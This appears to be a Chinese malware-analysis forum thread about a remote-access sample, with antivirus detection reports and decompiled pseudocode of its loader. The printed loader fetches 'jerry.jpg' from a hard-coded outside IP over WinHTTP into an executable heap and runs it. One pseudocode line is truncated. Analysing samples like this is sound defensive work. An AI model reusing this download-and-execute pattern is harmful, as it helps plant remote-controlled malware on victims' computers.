远控

dght432

文件后缀exe
360扫描双击miss

anxiety520

卡巴
事件：我们发现入侵者可以使用一个应用程序来损坏您的计算机或个人数据。
组件：文件反病毒
结果描述：检测到
类型：可能造成伤害的软件
名称：VHO:HackTool.Win64.AmsiETWPatch.fn
精度： 完全正确
威胁级别：中
对象类型：文件
对象名称：ac8889a871622480958b40ce8a69f2e1a00e3aaca66f4ea691c48e36fe7785f7.exe
原因：云保护

---

后来改报木马了
事件：检测到恶意对象
组件：文件反病毒
结果描述：检测到
类型：木马
名称：UDS:Trojan-Spy.Win32.Stealer
精度： 完全正确
威胁级别：高
对象类型：文件
对象名称：ac8889a871622480958b40ce8a69f2e1a00e3aaca66f4ea691c48e36fe7785f7.exe
原因：云保护

UNknownOoo

火绒
扫描&运行：MISS

453125415

360扫描miss

sanhu35

键盘记录

hansyu

ESET
Suspicious Object

x-天秤座

双击，无法顺利运行啊。

123456aaaafsdeg

DisaPDB

来个大手子打爆一下

1. reeConsole();
   
2.   v18 = 0i64;
   
3.   v37 = 0i64;
   
4.   v24 = 0i64;
   
5.   v28 = 0;
   
6.   strcpy(LibFileName, "Winhttp.dll");
   
7.   hModule = LoadLibraryA(LibFileName);
   
8.   hHeap = HeapCreate(0x40000u, 0i64, 0i64);
   
9.   v15 = (void (__cdecl *)())HeapAlloc(hHeap, 8u, 0x1000ui64);
   
10. 
    
11.   strcpy(v17, "4lDKsW");
    
12.   v3 = (__int64 (__fastcall *)(const wchar_t *, _QWORD, _QWORD, _QWORD, _DWORD))sub_140001000(&v26[3], 12i64, v17);
    
13.   v18 = v3(L"Tor", 0i64, 0i64, 0i64, 0);
    
14. 
    
15.   strcpy(v13, "TuntbA");
    
16.   v4 = (__int64 (__fastcall *)(__int64, const wchar_t *, __int64, _QWORD))sub_140001000(v33, 15i64, v13);
    
17.   LOWORD(v5) = 280;
    
18.   v37 = v4(v18, L"216.83.59.219", v5, 0i64);
    
19. 
    
20.   strcpy(v12, "2,");
    
21.   strcpy(v36, "FKsbAX");
    
22.   v6 = (__int64 (__fastcall *)(__int64, const wchar_t *, const wchar_t *, _QWORD, _QWORD, _QWORD, _DWORD))sub_140001000(v11, 19i64, v36);
    
23.   v24 = v6(v37, L"GET", L"jerry.jpg", 0i64, 0i64, 0i64, 0);
    
24. C6");
    
25.   v7 = (__int64 (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _QWORD))sub_140001000(v20, 19i64, v30);
    
26.   v38 = v7(v24, 0i64, 0i64, 0i64, 0, 0, 0i64);
    
27. 
    
28.   strcpy(v26, "'");
    
29.   strcpy(v16, "LcuBpW");
    
30.   v8 = (__int64 (__fastcall *)(__int64, _QWORD))sub_140001000(v25, 23i64, v16);
    
31.   v38 = v8(v24, 0i64);
    
32. 
    
33.   strcpy(v35, "eo5TSd");
    
34.   qmemcpy(v10, "o/", 2);
    
35. 
    
36.   strcpy(v29, "8Fbrxn");
    
37.   qmemcpy(v19, "-3\r}$", 5);
    
38. 
    
39.   strcpy(v14, "zZc5Pi");
    
40.   v31 = 0i64;
    
41.   v27 = 0i64;
    
42.   v23 = 0i64;
    
43.   while ( 1 )
    
44.   {
    
45.     v39[0] = 0;
    
46.     if ( !v31 )
    
47.       v31 = (void (__fastcall *)(__int64, int *))sub_140001000(v32, 26i64, v35);
    
48.     v31(v24, v39);
    
49.     if ( !v39[0] )
    
50.       break;
    
51.     memset(v40, 0, sizeof(v40));
    
52.     if ( !v27 )
    
53.       v27 = (void (__fastcall *)(__int64, char *, __int64, int *))sub_140001000(v10, 16i64, v29);
    
54.     v27(v24, v40, 800i64, v39);
    
55.     qmemcpy((char *)v15 + v28, v40, (unsigned int)v39[0]);
    
56.     v28 += v39[0];
    
57.   }
    
58.   if ( !v23 )
    
59.     v23 = (void (__fastcall *)(__int64))sub_140001000(v19, 19i64, v14);
    
60.   v23(v24);
    
61.   v23(v37);
    
62.   v23(v18);
    
63.   atexit(v15);
    
64.   return 0;
    
65. }

复制代码

biue